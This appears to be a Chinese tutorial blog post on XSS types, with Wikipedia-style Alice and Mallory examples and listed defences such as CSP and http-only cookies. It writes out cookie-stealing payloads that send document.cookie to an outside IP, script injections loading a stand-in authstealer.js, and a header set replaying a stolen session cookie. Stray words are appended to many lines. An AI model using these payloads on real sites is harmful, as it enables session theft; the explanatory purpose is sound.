xss 是什麼?

XSS 原名周樹人浙江李大釗,XSS其實不是XSS,是CSS避免和CSS3重名,更名叫XSS(Cross site Scripting)javascript

準備參考這篇文章從新梳理一下什麼是xss,http://www.javashuo.com/article/p-cohygsyl-h.htmlhtml

 

攻擊的原理是什麼?java

一段壞人寫的代碼在你的瀏覽器上解釋執行!!node

裏面瀏覽器標籤的一些特性,讓用戶無心間執行已經被添加的惡意代碼,就能瀏覽器作一些有攻擊性的行爲。sql

XSS 分類json

  1. 反射形 xss
  2. 存儲形 xss
  3. dom形 xss

 

反射形,xss:瀏覽器

以nodejs爲例,在使用query請求中若是客戶端訪問的是一段html代碼或js腳本,傳給服務端,服務端把傳參又做爲響應的數據安全

返回給客戶端。客戶端會執行這段代碼,這樣還不算是xss,服務器

再修改一下更形象。cookie

若是這個請求是惡意發給中間服務,中間服務作一些修改或保存這段參數,再把它返回給其餘的頁面請求,此時就須要https加密,中間服務器拿到消息也看不懂。

還有csp策略,防止html代碼被篡改。這段代碼也會在其餘頁面執行,這樣就很可怕。

Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'strict-dynamic'

const arr = ['1', '2', '3', '<img src="11" onerror="console.log(window.localStorage)" />']
    const t = document.querySelector('#t')
    arr.forEach(item => {
      const p = document.createElement('p')
      p.innerHTML = item
      t.append(p)  // 正常操做是插入的節點會執行onerror
});
document.write("<img src='http://192.168.59.129:10086?c=" + escape(document.cookie) + "'>")
 

 

現代瀏覽器直接回拒絕你用這樣的方式操做dom文檔,由於受到CSP文檔安全策略的限制: http://www.javashuo.com/article/p-efzvatvo-cn.html

 

反射型也叫非持續性攻擊,只是單次操做攻擊,維基百科描述了一個這樣的故事:

Alice常常訪問一個特別的網站,這個網站是Bob的,他容許Alice用用戶名密碼登陸,並且會有一些敏感信息好比交易信息,當用戶登陸後瀏覽器會保持認證信息,服務端和客戶端都有Alice登陸的記錄。

有一天,Mallory發現Bob的網站有易遭攻擊的風險

Mallory用搜索到這個網站的主頁,輸入input值並說起,會有一個相似這樣的URL:http://bobssite.org/search?q=her%20search%20term

可是在輸入一些網站不能響應的書時,他會返回:xxx not found,好比:http://bobssite.org/search?q=puppies返回 puppies not found

而後 Mallory想到一個壞主意,他將輸入換成了HTML字符串,例如:'<script type='application/javascript'>alert('xss');</script>'

這樣服務器返回給客戶端的時候,會在頁面插入這個標籤,並執行,客戶端會出現一個 彈框,內容是:xss。

而後 Mallory又進一步修改了傳參,他把puppies改爲了惡意腳本的連接,http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>

客戶端解析這個返回值,就會建立script標籤,請求這個惡意的腳本,你的網站就被攻擊了。

Mallory又進一步把連接加密改爲了不容易被發現的格式:

http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E

更近一步,Mallory吧這個連接用e-mail給了Alice,Alice看到是Bob的網站,就點開了只是返回一個puppies not found,也並無在乎,單此時Alice的瀏覽器上的cookie信息交易信息,Mallory都已經能獲取到了,惡意腳本注入成功,開始用真實用戶的認證信息,交易信息,作一些一個違法的事情。

 

那應該如何避免這樣的違法的事情發生呢?

  1. 網站的輸入,禁止輸入一些敏感的字符,如:link script iframe
  2. 服務端設置無效訪問的重定向
  3. 服務端查明和驗證會話信息是否有效
  4. 網站只展現輸入查詢信息的最後幾位
  5. 網站能夠要求用戶再次輸入密碼,在修改訪問信息以前
  6. 網站使用 http://www.javashuo.com/article/p-efzvatvo-cn.html 文檔安全策略
  7. 設置 cookie爲 http-only,不可被腳本修改。

 


存儲型xss,也叫持久性xss攻擊

存儲形和反射行攻擊的區別是,儲存行會把提交的代碼存儲到服務器端,如文件系統,sql。下次攻擊的時候就不須要在提交代碼。

再看一個維基百科上的故事!

有一天,無聊的Mallory在Bob的網站上也註冊了一個帳戶,Bob的網站能夠留言

提交的留言都會展現在評論區,每一個人均可以看到

因而,Mallory給Bob的網站加了一句這樣的留言,I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">

當其餘用戶好比Alice看到這個評論上有個連接,當他點擊這個連接的時候就會發生xss攻擊,每一個查看評論並點擊的人都會遇到xss攻擊。

這樣的攻擊就是一個持久化的xss。

 

敏感的帶有網絡請求的標籤有這樣幾種,在輸入時進行語法過濾!

<script> <link> <iframe> <img> <style> 

 

如何用xss攻擊獲取他人的cookie呢?

< 黑客,受害者 >

黑客但願受害者帶着本身的cookie訪問黑客的服務器!!!

黑客引導受害者在dom中添加了這樣一段代碼: 

document.write("<img src='http://192.168.59.129:10086?c=" + escape(document.cookie) + "'>")

當受害者訪問這個圖片連接時,就會帶上本身的cookie值,黑客只有等待有人訪問這個連接。

會話劫持

如何會話劫持呢?

在請求的 http header 中添加以下頭信息。

xssheaders = {
        'Host': 'www.xsslabelgg.com',
        'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0',
        'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'en-GB,en;q=0.5',
        'Accept-Encoding': 'json, text, gzip, deflate',
        'Referer': 'http://www.xsslabelgg.com/profile/hackbiji',
        'Cookie': 'particle=hgb32s34ekr20kdq6ttje8dct0',
        'Connection': 'keep-alive',
}

這樣黑客獲取到信息就能代替受害者,正常訪問服務器。

相關文章
相關標籤/搜索